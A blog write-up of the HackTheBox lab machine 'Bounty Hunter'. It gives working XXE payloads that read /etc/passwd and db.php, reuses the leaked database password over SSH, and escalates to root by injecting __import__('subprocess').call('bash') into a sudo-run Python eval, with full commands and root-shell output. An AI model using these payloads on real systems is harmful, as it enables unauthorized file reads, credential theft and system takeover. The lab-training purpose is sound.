Bounty Hunter

Feras Kanaan (0xFK)
5 min readNov 12, 2021

Another interesting machine by ejedev published on the HackTheBox

Full video about this machine is here https://youtu.be/V9HQGrtlggc

Discovery / Network Service Scanning

─$  nmap  -p-  --min-rate=1000 -T4 10.129.95.166

Let’s browse the web service

We will use burp suite to deep dive into the http request

One of the interesting forms is bouny report

Let’s inspect the request in Burp

Opening the inspector to the right, so we can decode the packet

As we can see the packet is xml, so let’s try use xxe injection , more information at OWASP

XML External Entity (XXE) Processing

https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing#

We will try to fetch the passed file as below, again the packet need to be encoded to base64 and URL encoding

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>asfd</cwe>
<cvss>asdf</cvss>
<reward>asdf</reward>
</bugreport>

URL Encoded

└─$ echo "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGZvbyBbIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI+IF0+CgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU+Jnh4ZTs8L3RpdGxlPgoJCTxjd2U+YXNmZDwvY3dlPgoJCTxjdnNzPmFzZGY8L2N2c3M+CgkJPHJld2FyZD5hc2RmPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+CgkJPC9idWdyZXBvcnQ+" | python3 -c "import urllib.parse;print (urllib.parse.quote(input()))"

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGZvbyBbIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI%2BIF0%2BCgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU%2BJnh4ZTs8L3RpdGxlPgoJCTxjd2U%2BYXNmZDwvY3dlPgoJCTxjdnNzPmFzZGY8L2N2c3M%2BCgkJPHJld2FyZD5hc2RmPC9yZXdhcmQ%2BCgkJPC9idWdyZXBvcnQ%2BCgkJPC9idWdyZXBvcnQ%2B

Will replace the packet into the Burp repeater

Search for shell user

└─$ cat passwd | grep  /bin/bash 
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash

Data Sources Internet scan web crawlling

$ gobuster dir -u http://10.129.95.166 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 30 -x php


===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.254.189
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/11/09 03:27:21 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 25169]
/resources (Status: 301) [Size: 320] [--> http://10.129.254.189/resources/]
/assets (Status: 301) [Size: 317] [--> http://10.129.254.189/assets/]
/portal.php (Status: 200) [Size: 125]
/css (Status: 301) [Size: 314] [--> http://10.129.254.189/css/]
/db.php (Status: 200) [Size: 0]
/js (Status: 301) [Size: 313] [--> http://10.129.254.189/js/]
Progress: 59114 / 415288 (14.23%) ^C
[!] Keyboard interrupt detected, terminating.

===============================================================
2021/11/09 03:33:08 Finished
===============================================================

Using PHP filters with XXE to read the DB.php

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php" >]>

<bugreport>
<title>&xxe;</title>
<cwe>CEV</cwe>
<cvss>adsf</cvss>
<reward>asf</reward>
</bugreport>

Decode to Base64 the url encode

┌──(kali㉿kali)-[~/Documents/HTB/BountyHunter/nasm]
└─$ echo "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/Pgo8IURPQ1RZUEUgZm9vIFsgPCFFTEVNRU5UIGZvbyBBTlkgPgo8IUVOVElUWSB4eGUgU1lTVEVNICJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCIgPl0+CgoJCTxidWdyZXBvcnQ+CgkJPHRpdGxlPiZ4eGU7PC90aXRsZT4KCQk8Y3dlPkNFVjwvY3dlPgoJCTxjdnNzPmFkc2Y8L2N2c3M+CgkJPHJld2FyZD5hc2Y8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4=" | python3 -c "import urllib.parse;print (urllib.parse.quote(input()))"

PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/Pgo8IURPQ1RZUEUgZm9vIFsgPCFFTEVNRU5UIGZvbyBBTlkgPgo8IUVOVElUWSB4eGUgU1lTVEVNICJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCIgPl0%2BCgoJCTxidWdyZXBvcnQ%2BCgkJPHRpdGxlPiZ4eGU7PC90aXRsZT4KCQk8Y3dlPkNFVjwvY3dlPgoJCTxjdnNzPmFkc2Y8L2N2c3M%2BCgkJPHJld2FyZD5hc2Y8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D

Send the request

PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=

Decode The Response Base64

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K"; # interesting password but adming doesnt belong to shell user !!
$testuser = "test";
?>

Try to use same password to ssh bu development user

$ssh development@10.129.95.166 # using dbpassword extracted above

We got user shell and captured the flag

Privilege Escalation

Checking users with shell

#1 Get users with shell commands
development@bountyhunter:~$ grep -E "sh\$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash
#2 can development sudo ?
development@bountyhunter:~$ sudo -S id
[sudo] password for development:
Sorry, user development is not allowed to execute '/usr/bin/id' as root on bountyhunter.
#3 What commands can development run without password
development@bountyhunter:~$ sudo -S -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Review the ticketValidator.py for any opporutnity of injection

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()

def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue

if x.startswith("__Ticket Code:__"):
code_line = i+1
continue

if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False

def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close

main()

Although the author provided sample ticket, I prefered to reverese the code to have better understanding on how to inject.(you can watch the related video)

Finally our injected ticket is ready

PoC.md

# Skytrain Inc
## Ticket to Glorry
__Ticket Code:__
**25+10** and __import__('subprocess').call('bash')

Upload the Ticket PoC

─$ scp poc.md development@10.129.200.111:/home/development  
development@10.129.200.111's password:
poc.md 100% 103 0.8KB/s 00:00

Run the PoC

development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py 
Please enter the path to the ticket file.
poc.md
Destination: ZShell
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:/home/development# ls
contract.txt poc.md user.txt
root@bountyhunter:/home/development# cd..
cd..: command not found
root@bountyhunter:/home/development# cd ..
root@bountyhunter:/home# ls
development
root@bountyhunter:/home# cd ..
root@bountyhunter:/# ls
bin cdrom etc lib lib64 lost+found mnt proc run srv tmp var
boot dev home lib32 libx32 media opt root sbin sys usr
root@bountyhunter:/# ls root
root.txt snap
root@bountyhunter:/# cat root.txt
cat: root.txt: No such file or directory
root@bountyhunter:/# cat root/root.txt
86737596fae**********************
root@bountyhunter:/# We Got Z Shell

REFERENCES

--

--